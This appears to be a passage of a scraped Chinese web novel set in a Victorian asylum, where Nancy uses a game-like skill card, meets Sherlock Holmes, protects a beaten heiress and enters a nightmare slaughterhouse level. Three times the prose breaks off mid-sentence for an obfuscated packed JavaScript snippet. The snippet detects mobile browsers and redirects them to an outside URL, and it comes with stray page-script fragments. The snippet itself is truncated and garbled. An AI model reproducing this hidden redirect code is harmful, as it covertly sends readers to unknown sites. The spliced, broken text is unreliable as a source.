她故作温顺低头:“是,登特医生。” 登特医生盯着病历单看了半天,“你是被你丈夫送进来的……说你是中了邪般对他大喊大叫,怎么也停不下来。他觉得你疯了,该到精神病院来看看。” ——赛克斯不是她的丈夫。 虽然南希什么都不记得了,但当登特医生的话出口时,她的脑海中清晰浮现出这行字。 两个人都没举行过婚礼,哪里算是丈夫?充其量就是骈头。 只是现在最好别反驳医生。 “是我太生气了,医生,”南希摆出无奈的表情,“过日子,谁会不吵架呢?话赶着话,我和他就这么嚷嚷了起来。” 登特医生失笑出声。 他摘下了鼻梁上厚重的镜架。 “白教堂区的人可掏不起多少钱,”登特医生温和地说,“可见你的丈夫足够爱你,不惜花大价钱也得治好你……嗯,也能理解,毕竟你容貌动人,南希女士。” 南希现在真想给他两巴掌。 但打了他之后,回去的日子可不会好过。她不想在这比监狱还登记森严的地界,同时得罪登特医生和格兰迪夫人两座大山。 “我能联系他吗?”南希问。 “这可不是我管,”说着,登特医生站了起来,“我只负责给病人诊断检查,来,这边来。” 登特医生走到了病床旁边,拉开了虚掩的白色床帘。 南希分明看到那张破旧生锈的病床上,床单上还带着不明的污渍和水渍,床头床脚,分别放置着成堆的束具、猪油膏和金属鸭嘴钳。 甚至床头的柜子上,还放着玻璃药瓶,标签上写着“吗()啡”一词。 “脱掉衬裤,”登特医生声线依旧温和,“把裙子撩起来,躺上去。” 南希:“……” 这已经远超內莉口中的性()骚扰病人了吧?! 上了这病床,她还能活着走下来吗。 幸而来之前內莉好心提了一嘴,她说态度够强硬,登特医生充其量就是让格兰迪夫人给她穿小鞋。 所以这人应该也不会明着侵()犯病人…… 但南希有其他办法。 她心念一动,视野中的【卡组】按钮自然展开,南希看向技能卡《大小姐的学识》,二话不说,看向【使用】按钮。 下一刻,技能卡发出光亮特效。 并不存在的虚拟粒子扩散至整个诊室,南希眨了眨眼,眼前平白无故多出了很多内容。 她环视四周,目光停留在办公桌高亮描边的桌摆件上。 是个双手大小的瓷娃娃,精致可爱、衣物崭新,足以可见登特医生平日没少精心保养。就是在这诡异的环境中,瞪大眼睛的玩偶看起来也带上几分诡异。 娃娃的头顶漂浮着一行字幕:“德国瓷娃娃,赝品。伦敦做工,售价约1-5英镑之间。” 南希微楞,这就是技能卡的作用? 她心思辗转,瓷娃娃头顶又漂浮出第二行字:“在十九世纪,德国瓷娃娃很受上流社会的女士们欢迎,正品售价可高达上千英镑。赝品多在白教堂区流出。” 好吧,那怪不得! 对菲娜·戈尔登小姐来说,这估计是小姐妹之间流行的奢侈品玩具,她能一眼认出是赝品,理所当然。 至于后半句话—— 南希顿时有了主意。 “登特医生,”她冷不丁出言,“我认识几个出售德国娃娃的人。” “嗯?” 登特医生已经拿起了绑带,听到南希的话,愕然抬眼:“你?” 白教堂区什么地方,伦敦人怎么可能不知道?那可是著名的工业区和贫民窟!居住往来的都是穷人,饭都吃不起,更何况买卖奢侈摆件。 “对,我。” 南希语重心长,她还特地往桌上的瓷娃娃多看了两眼,“这瓷娃娃真不错,是你从哪个零售商购买的?有好几个是我丈夫关系很不错的朋友,我也算半个懂行。” 登特医生:“……” 再傻的人也能听出来南希的潜台词了。 白教堂区那种地方,怎么可能有售卖奢侈品的零售商,有的只是假货贩子。 她分明在委婉提醒,自己大概率买到假货了!登特医生立刻就变了脸色:“你胡说什么?!我可是在工作时间,少拿闲聊和我套近乎!” 刚才还做出温言细语自然的登特医生,一时间脸都气红了,大有一种被戳中同脚的恼羞成怒之感。 南希也不强调,只是赶忙低头。 “对不起。”她做出顺从的模样,“那,我将衬裤放在哪里,医生?” 她朝着病床靠近,还又多看了一眼那桌摆件,连连摇头。 大有一种看着可惜,但也不敢多说的姿态。 越是这样,登特医生越是生气。 诊室病床肮脏不堪,而瓷娃娃则崭新如初,可见登特医生平日对其多么呵护珍爱。而现在,南希居然暗示那是假的! 中年男人攥紧了手中的束缚带,他险些没能绷住表情。 但看南希这听话的姿态,登特医生也没法找茬,他酝酿半天—— “我是从查尔斯·爱德华斯的手中买的。”登特医生从牙缝里挤出这句话。 “爱德华斯?” 南希的心跳猛然加快。 你别说,她还真认识! “沙德韦尔船坞的爱德华斯吗?”南希假装怯生生出言,“登特医生,那是……我丈夫的朋友,他们经常在一起喝酒。” 一锤定音。 南希从来没见过哪个人,脸色能变换得如此精彩纷呈。 登特医生的脸面从红变白,又到铁青,抓紧了手中的束缚带,恶狠狠瞪着她,好似随时都能扑上来用那带子勒死南希。 他连坐了几个深呼吸,尝试着冷静下来。 南希就在此时,话锋一转,“我记得爱德华斯说过,这德国娃娃款式繁多。要是登特医生看腻了这个,他和我丈夫关系这么好,回头我的爱人来看我……也许提上一嘴,能帮你换个新的,或者退款去买其他款式?” 登特医生张开的嘴,因为南希吐出“退款”一词,又立刻合拢。 他张嘴闭嘴,反复好几次,活像只雨后出塘的青蛙。登特医生缓了半晌,铁青的面盘上,艰难地挤出一个笑容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322499|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你别说,赛克斯夫人。” 他抽搐着嘴角,假惺惺道,“这娃娃,我确实也看腻了。这不,我又看上了别家一款,要是能退款……” 南希了然接话,“也就是一封信的事,包在我身上。” “那太好了!” 登特医生长舒口气。 他锃光瓦亮的脑门上已渗出冷汗,中年男人用衣袖擦了擦,而后将那束缚带丢在地上。 南希往脏兮兮的带子上看一眼:“所以我的衬裤……” 登特医生赶忙摆手。 “不用了,不用了!”他连连出言,“我看夫人你言谈正常,也不像是患有精神疾病的样子,不用检查。” 南希来了精神。 “那我是不是可以离开——” 她话说一半,登特医生的脸上浮现出明晰的惊恐神情。 就像是生怕南希将这句话完整说完般,登特医生骤然拔高了声音。 “——但气血上头,也不是好事,一定是因为最近太累!” 尖锐的声音直接打断了南希的话。 登特医生的语气里带着十足恐慌,他为了抢白,声线都破了音,犹如张嘴的青蛙被踩破了肚皮,连带着冷汗岑岑的脸都有些扭曲。 这是干什么? 南希立刻闭嘴。 她不说话了,室内陷入沉默。登特医生额头的汗水流下来,挂在睫毛上也不擦,眼珠子惊恐地滴溜溜转动。 像个程序出错的假人。 这场面,太诡异了! 好在意识到南希不再开口后,登特医生迅速恢复自然。 “咳,嗯,我开一些安神草药,”他清了清嗓子,“护士会叮嘱你好好用药的,夫人。回去吧。” “……谢谢你,登特医生。”南希迟疑出言。 太怪了。 离开诊所后,南希还在回想着刚刚的场面。 收回今天清晨的埋怨,没想到这《大小姐的学识》,在精神病院还真有用! 使用完毕后,技能卡再次回收在【卡组】按钮之中,并没有消失,是可以反复利用的。 这倒是好事,万一日后还有其他更好用的技能卡,别用一次就没了。 以及,登特医生最后是怎么回事? 老实说那个表现比在副本关卡中还要恐怖——她现在可是身处现实!登特医生看起来很害怕南希说出“离开”一词,但说出来又怎样,还能有怪物监视她…… 呃,回想到副本里的情况,南希觉得真不好说。 现实里她还会有回档功能吗? 南希不禁打了个寒战。 这是什么情况啊,说好的十九世纪和《雾都孤儿》呢,怎么一转恐怖片剧场了。 她紧张起来,观察四周。 好在现在是白天,窗外还有护工和病人往来路过。格兰迪夫人说有护士来接南希,看来是因为略去了“临床检查”的时间,护士还没赶过来。” 走廊尽头,还伫立着一道熟悉的高挑身影。 对方见她出门,大步向前。 是歇洛克·福尔摩斯。 他还是那身护工打扮,走向前时,一双锐利的眼睛飞快扫了南希一圈。 而后侦探深刻五官不着痕迹地放松了些。 “南希女士,”他礼貌摘下八角帽,“终于在梦境之外的地方见到你了。” 南希猛然愣住。 所以,福尔摩斯也觉得昨夜的经历是在梦中! 8. 第二日(三) 008 歇洛克·福尔摩斯也记得昨夜的事情,甚至一开口就笃定二人是在梦中相见! 那一刻,南希长舒口气。 虽然没有记忆,但南希仍然记得《福尔摩斯探案集》的内容。没什么比这位智力卓群的侦探与自己想到一处,更具有安全的感了。 连福尔摩斯都这么想的! “原来不止我一人觉得,你我是在梦中相遇。”南希低语。 福尔摩斯微挑眉梢。 “希望这不是你的比喻修辞,南希女士,因为我是真心实意这么认为,”他强调,“不止是在梦中,而且,你、我,还有菲娜·戈尔登小姐,都是梦境的闯入者。” 嗯? 这倒是出乎南希的预料了。 但跟随福尔摩斯的思路展开,南希侧了侧头,迅速明白了他的意思。 “梦境”中的事情——绳索间,格兰迪夫人要求“听话”、进而通关,都是入夜之前现实事件的夸张映射,这符合梦境的特征。 唯独没发生过的,就是南希与福尔摩斯见面。 至于菲娜·戈尔登小姐,一则她同样拥有梦中的记忆,二则是福尔摩斯在绳索间中提及登特医生时,格兰迪夫人表现出了明确的厌恶。 戈尔登小姐可不认得登特医生,人不会梦见不知道的事情。 所以…… “梦境的主人是谁?我们又为什么会进入此人的梦?”南希若有所思,“此人知晓精神病院内的人物关系,且第一时间知道菲娜·戈尔登被送入了绳索间。” “很聪明,南希女士。” 福尔摩斯一勾嘴角,“你的反应速度和梦中一样快。” 南希:“承蒙夸赞。” 能获得歇洛克·福尔摩斯的赞扬,这可真是了不得的事情,她还被夸了好几次。南希悻悻心想,如果她不是在这哪里都不对劲的精神病院里就更好了! “我从宿舍醒来,”福尔摩斯说,“戈尔登小姐的消息才刚刚传到男护工这边,因此梦境的主人只可能是女病号一侧的人。” 这就筛选到一半了。 但是这范围也很大,南希有些上愁:“早上吃饭时,戈尔登小姐就是议论的焦点,基本上谁都知道这回事了。很难圈定范围。” 福尔摩斯郑重出言:“这很重要。” 他目光灼灼,浅色的眼睛恳切地锁定住南希,意思非常明显。 男护工不能前往女病号区,想要找出梦境的主人,只能依靠南希。 “我会试着调查,”南希深吸口气,“再诡异的情况,也应该有个原因。还有……先生。” “什么?”福尔摩斯侧头。 “你为何混进贝特莱姆精神病院?” 一句追问,点明了福尔摩斯并非贝特莱姆的真正员工。 哪怕没在梦中看到他的真名,这也不难猜——谁家护工在面对怪物时还面不改色心不跳的?就算不是福尔摩斯,也不会是普通人。 好在福尔摩斯也不介意被南希看穿。 “我为了寻找我的朋友而来。”他说。 “你的朋友也是病人?”南希追问。 “不,他是一名医生。”福尔摩斯回答。 医生? 歇洛克·福尔摩斯的医生朋友,恐怕也就是约翰·华生医生了! 南希倒是没想到,他乔装成护工混进精神病院,还和华生医生有关。 她斟酌一番,谨慎开口:“你的朋友……也无法离——” 福尔摩斯蓦然抬臂。 骨节分明的右手悬停,他的指腹落在她的唇瓣,按住了余下的话。 南希愣住了。 生着薄茧的食指,堪堪接触就轻盈离开,触感转瞬即逝。 而后歇洛克·福尔摩斯将那根蹭过南希唇瓣的食指举到自己的薄唇前。 没有接触,却离得很近。 他做了个噤声的手势。 二人之间陷入片刻沉默,南希昂起头,迎上那双锐利的浅眸。 有人在看。 在诊所时,登特医生突然变脸的诡异和压抑感又回来了。像是有爬虫沿着脊柱一路向上,被盯梢窥探的毛骨悚然如黑泥般粘连在南希身上。 不能说“离开”这个词吗? 也许不止是福尔摩斯疑似华生医生的朋友无法离开这里。 恐怕登特医生,乃至大侦探本人,同样被困在了精神病院。 “……不说了。”南希低语。 粘连在背后的目光骤然消散。 福尔摩斯举着食指,非笑似笑:“南希女士,显然你已经发现了贝特莱姆精神病院的禁词。” 这也太诡异了,还真就是恐怖片现场啊! 看来想要离开这里,必须好好想办法了。而目前唯一的希望,就是找出这梦境的主人。 “如果我有了新线索,该如何通知你?”南希又问。 “你会知道的,南希女士,”福尔摩斯不欲多说,他重新戴上八角帽,“不过,也许我们能够再次于梦中相见。” 这话听起来怪怪的。 歇洛克·福尔摩斯高挑清隽,哪怕穿着工人服装也气质非凡。一句梦中相见,好似许诺也好似调情,但回想起昨夜梦里的场景…… 南希干笑几声,也不知道再次相见会是好事还是坏事! ………… …… 最终,女病号区的护士将南希接回了病房。 南希仍然惦记着寻找梦境主人的事,好在机会来的很快。 问诊之后,就到了病人们放风的时间。 男女病号时间错开,所有人在食堂外一字排列,而后由护士们发放遮阳帽和披风,带到室外。 统一制式的帽子一戴,南希就分不出谁是谁了,好在內莉眼尖,带着路易斯第一时间找到了她。 “你怎么回来得这么快?” 內莉赶忙上前,“我和路易斯还在食堂门前等你呢,快走快走,可别让格兰迪夫人抓住发火的机会。” 南希将披风拢紧,跟着队伍走出食堂。 伦敦气候多雨湿润,好在清晨的雨刚停不久。草地是湿的,但太阳已经拨开乌云,还算温暖。 沐浴着阳光,南希才觉得积压在心头的乌云消散大半。 还是得摄入阳间的能量啊! 数百名女病人,排队走到院落的正中央。 贝特莱姆精神病院的后院足够宽敞,能容纳所有女病人在此散步放风。院落的中央搁置着一个木制高台。 在高台上,登特医生似乎已等了有一会了,他时不时瞥向掌心怀表,显然失去了耐心。 “怎么还没到齐。”他向格兰迪夫人抱怨。 “急什么?”格兰迪夫人很不客气地开口,“你就讲那么几分钟——后面的,快点!” 护士长一声令下,队尾的几人不得不抓紧拎着裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322500|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆小跑。 在內莉的带领下,她们站在了最后。 南希刚刚站定,往侧方一抬眼,首先看到的就是旁边之人脖颈和脸颊的红痕。 她暗中一惊,才注意到遮阳帽之下,是菲娜·戈尔登小姐清秀的面孔。 对方似是感应到南希的目光,抬起头来。 四目相对,戈尔登小姐怔了怔,而后对着南希扬起笑容。 她的状态很不好。 南希第一眼就发现了情况:戈尔登小姐脸色苍白、嘴唇也是青紫色。她虽然站立在自己身边,但身躯摇摇欲坠。 这太正常了! 按照技能卡的画面和说明,菲娜·戈尔登小姐的家境不斐,显然是名娇生惯养的大小姐。 挨了一顿毒打后,早上又约等于没吃东西,她的身体肯定吃不消。 真够倒霉的。 南希心生感叹,与此同时,高台上的登特医生清了清嗓子。 “按照惯例,今天由我来说明精神病院一周的安排。早晨的会诊时间已经结束,女病号的放风时间会持续到十一点,而后先行使用午餐——” 看着戈尔登小姐摇摇欲坠的身躯,南希默不作声地拉近距离。 “你可以靠着我。”南希低声说。 戈尔登小姐微微瞪大眼,她看了南希片刻,而后垂眸。 “……谢谢。”她的声线里带着几分哽咽。 温柔的小姐轻轻往南希身上一靠,几乎没什么重量。但随着发生身体接触,南希才意识到戈尔登小姐的情况比看起来还要不好。 她浑身都在颤抖,两股战战、带着手也不自觉地哆嗦。 这显然是体力到了极限。 但高台上,登特医生还在滔滔不绝讲述着本周行程。 眼见着她就要晕倒了,而在这节骨眼倒地,按照格兰迪夫人的要求,迎接戈尔登小姐的肯定不是救治,而是又一顿毒打。 这该怎么办? 南希思绪至此,她盯着草地的目光之间,骤然亮起不应存在的字幕。 【用户:南希,已收到信徒祈愿。】 【是否接受为菲娜·戈尔登提供休息机会的请求?】 【奖励报酬:技能卡《大小姐的学识》升级,增加德语翻译功能。】 呃。 这“信徒祈愿”是什么意思? 搞不明白,但系统明晃晃提醒了接受请求会有奖励,没有不答应的道理。 南希一面按下面板中的【确认】,一面侧过头。 不能让戈尔登小姐当众晕倒,她会成为医生和护士的眼中钉。既然如此…… 她看向了距离五六米外的另外一队病人。 那边七八个病人,由护士带领姗姗来迟。她们被同一条绳子拴在腰际串联在一起,虽然人在草坪上,却各个都不是很清醒。 有喃喃自语的,有蹲下拔草的,还有一位眼见着就要和旁边的同行者推搡叫骂起来了。 看起来,她们才是这精神病院真正的病人。 反正看着早晚要打起来,而戈尔登小姐撑不了这么久了,南希不介意做个催化剂。 她踮起脚尖,把草坪中的石块扒拉到自己身边。 然而下一刻,南希就听到远处传来中气十足的咒骂。 “你们两个小贱()种!” 格兰迪夫人骂骂咧咧冲了过来,一把将戈尔登小姐从南希身上拽开,“在搞什么?!” 9. 第二夜(一) 009 “你们两个小贱()种!” 格兰迪夫人骂骂咧咧地冲过来,“在搞什么?!” 她一把将倚靠在南希身边的戈尔登小姐拽走,护士长的声音嘶哑粗鲁,直接打断了登特医生的滔滔不绝。 该死! 南希刚想开口,就看到格兰迪夫人二话不说,上去就给了戈尔登小姐一巴掌。 “啪”的一声脆响,让整个庭院陷入死一般寂静。 戈尔登小姐白皙的脸颊立刻肿了起来。 “就知道你听话是装的,”格兰迪夫人骂骂咧咧,“我看你这种贱东西就不顺眼,仗着自己有钱漂亮就为所欲为,我告诉你,只要住进贝特莱姆,就是女王的孩子也得听我安排!” 南希在旁看的心惊胆战。 这一巴掌打的不清,她生怕戈尔登小姐直接被打晕过去! 好不容易离开了绳索间,这么一晕倒,一定又免不了二进宫。 好在大小姐虽然柔弱,但到底是撑住了。 她被打的踉跄几步,捂住面孔,身形摇摇欲坠,却仍然屏住最后一口气,坚持没有失去意识。 “对,对不起,”戈尔登小姐不再顶嘴,她垂眸道歉,“是我的错,格兰迪夫人,我太懦弱了。你、你要惩罚,就惩罚我一个人——” “啪!” 又是一巴掌。 格兰迪夫人很不客气,眼见着戈尔登小姐因为第二巴掌要摔倒,直接拽住了她的头发! 剧痛让戈尔登小姐短促叫出声。 “用不着你教我怎么管理病人,”她骂了一句脏话,“收拾完你,我会收拾另外一个小贱()人!” 南希:“……” 这下,就算不为了奖励也得出手了! 情急之下,她飞快地看了一眼台上。 登特医生眉心紧蹙,显然对格兰迪夫人无视他的权威,直接打断讲话出手伤人很是不满。 这能利用起来。 南希不再迟疑,她趁着格兰迪夫人辱骂戈尔登小姐的功夫,不再犹豫,直接捡起地上的石块,狠狠向另外一队病人砸过去! 石块正中那推搡他人的女病人小腿。 她当场尖叫一声:“有人打我!!是不是你,是不是你?!” 本就在发狂边沿的病人,直接扑倒了身边人。 真正的病人都用绳子拴着腰际,连成一串。她当场发狂,连带拉扯着其他七名病人失去重心,八个人手脚并用,就这么摔倒在地上。 格兰迪夫人看起来已经在精神崩溃边缘了。 “今天你们一个两个畜生,是要反了天不成?!” 这下,她也顾不得戈尔登小姐了。护士长一松手,戈尔登小姐直接摔在地上。五大三粗的格兰迪夫人怒气冲冲走向另外一对病人,直接将发狂的病号从中拖了出来:“我看你是不想活了!” “我不想活?” 那名发病的中年妇人可不管眼前的是谁。 她受了刺激,面对格兰迪夫人,反而大笑出声:“我看你才是不想活!你敢打我!” 格兰迪夫人:“给我——” 护士长话没能说完,就被发病的中年妇人直接撞在地上。 发疯的女人头发都散开了,指甲和拳头不住往格兰迪夫人的脸上招呼:“敢打我,我打死你!” 一巴掌下去,护士长的面孔血肉开绽。 她惨叫一声,却惊到了更多病人。 惨叫、怒骂瞬间爆发,精神病院的院子瞬间乱成菜市场。其他护士试图维持秩序,声音却淹没在了病人的哭嚎当中。 瞬间其他病号一拥而上,有病的没病的,都趁乱对着格兰迪夫人拳打脚踢。 “是怪物,打死她!” “让她平时耀武扬威!” “啊啊啊!” 趁着这个功夫,南希艰难托起地上的戈尔登小姐。 活该! 她朝着格兰迪夫人被疯子淹没的方向啐了一口,抓住护士们上前解救护士长的功夫,拽着戈尔登小姐来到高台前。 “登特医生!” 南希做出无奈的样子,“实在是没法子了,你得帮这位小姐一把,她可是戈尔登家的大小姐!” 原本准备离开的登特医生蓦然顿住步伐。 他一抹自己锃光瓦亮的脑门,“我是听说银行家的小女儿被送进来了,但……” 登特医生看向半昏迷状态的女性,她左右脸都肿了起来,脖颈小臂更是带着挨打之后的红痕,完全看不出本来的模样。 这是菲娜·戈尔登?! 医生流露出错愕表情。 菲娜·戈尔登可是大名鼎鼎的银行家杰克·戈尔登的女儿!格兰迪夫人真是得了失心疯,真是在精神病院作威作福惯了,全然没想过得罪了有钱人会是什么下场。 杰克·戈尔登因为病重,被送去德国疗养。 他走之后,续弦的妻子、年幼的儿子、野心勃勃的侄子,还有这名亡妻生育的小女儿和其他股东,对着银行家的财产可谓虎视眈眈。 她被送进来,完全是财产斗争的结果。 但—— 再落魄的大小姐,也是大小姐。 登特医生看着丢了半条命的戈尔登小姐,一双混沌眼球顿时亮了起来。 他可不像格兰迪夫人那般短视,妇人就是蠢笨!既然狠狠得罪了银行家的女儿,可别怪他抓住机会了。 “这真是惨无人道!” 从来不关心病人死活的登特医生,一改往日冷淡,流露出真心实意的担忧和愤慨来。 登特医生一溜烟跑下高台:“这成什么样子?我来看看。” 南希长舒口气。 就知道有戏! 看刚才登特医生的样子,他对格兰迪夫人瞧不上自己不满多久了,加上本身是个虚荣势利眼,怎会放过这个机会? 登特医生命南希将戈尔登小姐搀扶到一边,他掏出嗅盐,往大小姐鼻翼下一送。 一股浓郁恶臭直窜脑门,富家小姐连呛好几声,清醒过来。 她不住咳嗽,南希连连替她拍背。 “戈尔登小姐。” 登特医生扶了扶镜框,摆出严肃表情,“格兰迪夫人这么对你,太过分了!我会同院长反应的,请你放心。我决计不会让她再这么虐待你。” “什……什么?” 戈尔登小姐徐徐醒转,完全不知道发生了什么。 她看着登特医生的脸,不觉得安心,反而是往南希身上缩了缩。 一直到南希攥住她的手,戈尔登小姐才放松了一些。 大小姐花了点时间,才反应过来状况,眼眶顿时红了。 “谢谢你,医生,”她哽咽道,“给你添麻烦了。” “怎么会?!你可是银行家的女——呃,我的病人!”登特医生险些说漏嘴,干咳几声,“我今晚就给你开伤药,让护士送吃的和药……不对,你和南希女士关系好是吧?就把你安排到她的病房入住,让南希女士给你上药,怎么样?日后有什么需求给我说,我也不求什么,就等你出了院,替我向你的父亲表达感谢,怎么样?” 登特医生算的门清。 只要戈尔登小姐有出去的一天,她就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322501|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有翻盘的可能。 自己几句话的功夫,就能让大银行家欠下恩情,何乐而不为? 而他的丑恶嘴脸,对戈尔登小姐来说却是救命稻草。 听到要和南希住在一起,又挨了一顿打戈尔登小姐再也没能忍住,啜泣出声。 居然,居然成真了? 刚刚站在太阳底下头脑发晕的时候,菲娜·戈尔登就在想,要是南希女士能像梦中那样救救自己就好了。 也不求别的,戈尔登小姐就想躺下休息。要是南希女士能再自己身边更好,南希救过自己,她在戈尔登小姐身边,会让自己感到心安。 她能像梦中那样发出求助吗? 请救救我,像在梦中那样。 戈尔登小姐无声地发出呐喊。 可是她没想到,自己的愿望成真了,并且,还是南希女士拉着她促成了一切。 这比昨夜的噩梦还像是做梦。 直至被搀扶进七号病房,戈尔登小姐还是不敢相信这就是事实。她接过南希递来的毯子,看着她拿出护士送来的药膏。 “上药可能会有些疼,你忍着些。”南希拆开纱布,轻声叮嘱。 戈尔登小姐看着南希温和的表情,又是哽咽:“……谢谢你,南希女士,你救了我两次。” 她泪眼婆娑,看向南希,犹如看待神明。 看来在贝特莱姆精神病院,南希女士比上帝还要管用! 而与此同时,南希看着戈尔登小姐的感激神情,视线里也浮现出无声的字幕。 【信徒祈愿已完成。】 【技能卡:《大小姐的学识》升级,用户:南希使用技能卡时,将会获得额外的德语翻译功能。】 这还差不多! 既救了大小姐的命,还获得了额外的技能,一举两得。 看来这信徒确实重要。 南希一边为戈尔登小姐上药,一边不禁嘀咕起来。 救下戈尔登小姐,系统提示她获得一名“信徒”。那是不是意味着,她还可以拥有更多“信徒”? 而且,还要在梦中救人。 这意味着她今晚还会进入那诡异的噩梦关卡。 绳索间是入夜前发生的事情,所以今晚入梦,关卡估计也是白日事件的夸张投射。 那会是什么呢? 內莉和路易斯也早早趁乱回来,她们二人对多一个室友没有任何意见。 南希一直惦记着噩梦的情况到入夜。 好在上午的混乱之后,下午和晚上一切正常。 用过晚餐,格兰迪夫人组织所有女病人祷告,而后她们排队进入房间。 带着几分觉悟和担心,南希换好睡衣上床,合拢眼睛。她本以为自己会睡不着的,但这一天过的心惊胆战,南希体力也到了极限。 她一沾枕头,就睡了过去。 再睁眼,依旧是伸手不见五指的夜晚。內莉、路易斯,还有刚搬进来的菲娜·戈尔登小姐统统不见了。 和上次一样,反锁的病房房门敞开着。 有了昨晚梦境的经历,南希并没有犹豫。 她深吸口气,翻身下床,径直走向敞开的房门。 而这一次—— 跨出房门,迎接她的却不是意料之中的长廊。 突然宽敞起来的环境让南希仓皇停住步伐,发现自己正在…… 南希愣住了。 黑红地砖,干冷空气,天花板上垂下来叮叮当当整齐排列的铁钩,仓库大小的室内空无一人,房间尽头有一扇合拢的房门。 上面写着三个大字。 屠宰场。 10. 第二夜(二) 010 这是一个屠宰场? 分辨清楚场景的同时,南希的眼前浮现出字幕。 【副本:贝莱特姆精神病院,当前关卡:屠宰场。】 【角色:南希。】 【目前死亡次数:2。】 等一下……不对! 南希猛然回过神来。 说好的梦境是现实的夸张映射呢,怎么会是屠宰场?精神病院可没有这个配置! 南希仔细想了想:说是现实的映射,也不一定是当天的现实。也许梦境的主人将不同的记忆糅杂了起来。 以及…… 这明晃晃的死亡次数:2,又是怎么回事? 还把上个关卡的次数累积过来了,如果积累到一定程度,会有怎样的后果? 南希在黑漆漆的环境里打了个寒战。 算了,先摸清楚眼前的情况再说。 唯一的技能卡暂时派不上用场了,也不知道在这个梦境中还会不会碰见歇洛克·福尔摩斯,得小心行事才行。 她鼓起勇气,迈开步伐。 走到挂着“屠宰场”的牌子前,拧动门把手,推门而入。 视野骤然开阔,却依旧昏暗晦涩。 是个厂房,屋顶极高,天窗由钢筋和玻璃交错,所有窗子都是从外锁住的。脚下是长长的过道,两侧的铁栏分割出不同的圈舍。 环境南希只能看到前方有数十名人形在排队。 空气中弥漫着血水、汗与泥混合的臭味,偌大的厂房安静的恐怖,数十人进在眼前,却连呼吸声都没有。 场面也太诡异了。 南希环视四周,发现除了这条路外没有其他岔口。 她想了想,默默上前。 按照绳索间的经验,在梦境中,最好遵循着梦的规则行事。于是南希靠近队尾,她这才看见所有排队的人都穿戴着精神病院的白色遮阳帽和披风。 果然她的猜测没错,梦境依旧与精神病院有关,也许是穿插了梦境主人的其他记忆。 只不过,她们在排队做什么? 南希伸手向前往的病人:“呃,那个……” 排在前方的女病号回过头。 她没有脸。 遮阳帽下空空荡荡,是一张空白的面盘。 刹那之间,南希汗毛都立起来了! 肉眼看到无脸人的冲击力过于强烈,她一时间失去了语言能力。显然,没有五官的“病人”也无法说话,她面朝南希静等片刻,见对方没有反应,又默默地转了回去。 我去。 这什么情况?! 南希吞了吞唾沫,收回了停在半空中的手。 问是没法问了,她只好跟随队伍前行。数十人的队伍很快就只余下前方三四人,南希这才看清前面的情况。 过道尽头是个小小的关卡,有人手持纸币记录,有人负责维持秩序,等轮到前面的“病人”,南希才近距离看到这里的工作人员,穿戴着一模一样的白披风和遮阳帽。 她们也是病人,同样没有脸。 排在南希前方的病人上前,走到一架体重称上。 本应显示体重的秤盘,却哗啦啦转出一行大字。 “姿色下等,穷人。” 工作人员从体重秤旁的竹编筐中拿出一个牌子,沉默地递过去。 南希看到上面分明写着“高级圈栏”一行字。 拿着牌子的无脸病人,默默转身,朝着过道两旁某个又脏又臭的圈舍走了过去。 不好! 这是收容“牲畜”,等待宰杀呢。 而下一个就是南希了。 前方同样无脸的工作人员,齐刷刷地“看”过来。虽然没有声音也没有眼神,但被这怪东西盯上的感觉真是令人毛骨悚然。 嗯,想也知道掉头就跑一定不会有好事。 得在听话的前提下,想别的办法。 南希只得硬着头皮上前,学着前一位无脸病人的方式,默默上前,走到体重秤上。 她一踩上去,表盘就哗啦啦作响,最终跳出来一行字。 “姿色上等,穷人。” 南希:“……” 知道是事实,但是这么直接穷人两个字拍在脸上,多少有些伤人。 但这次,表盘还没停下来。 它依旧在哗啦啦翻动,而后居然又跳出来了第二行字。 “有门路。” 有门路?这是什么意思? 跳出来的字和前面的不一样,所以可以确定的是,梦境的主人认识她。 但南希白日做了什么,能让梦境的主人认为她“有门路”呢。 体重秤前的工作人员“唰唰”记录,而后从竹筐里拿出一个牌子递给南希。 上面写着“高级圈舍”。 南希当然不能接。 接过牌子,她就和前一位无脸病人一样,成为了牲畜。 不管该关卡的流程如何,剧情怎么样,这可是个该死的屠宰场!进来的“牲畜”自然只有一条死路。 于是南希面无表情看向无脸的工作人员。 “你们误会了,”她指了指体重秤上的第二行字,“我不是货物,我和你一样,是来工作的。不信你看。” 要在“听话”的情况下行事。 工作人员和“牲畜”一样,都穿着白日里女病人散步放风时的披风和遮阳帽,所以在梦境主人眼中,病号既是待宰的羊羔,也是屠夫的帮凶。 那南希还是宁可和绳索间一样,做个“帮凶”。 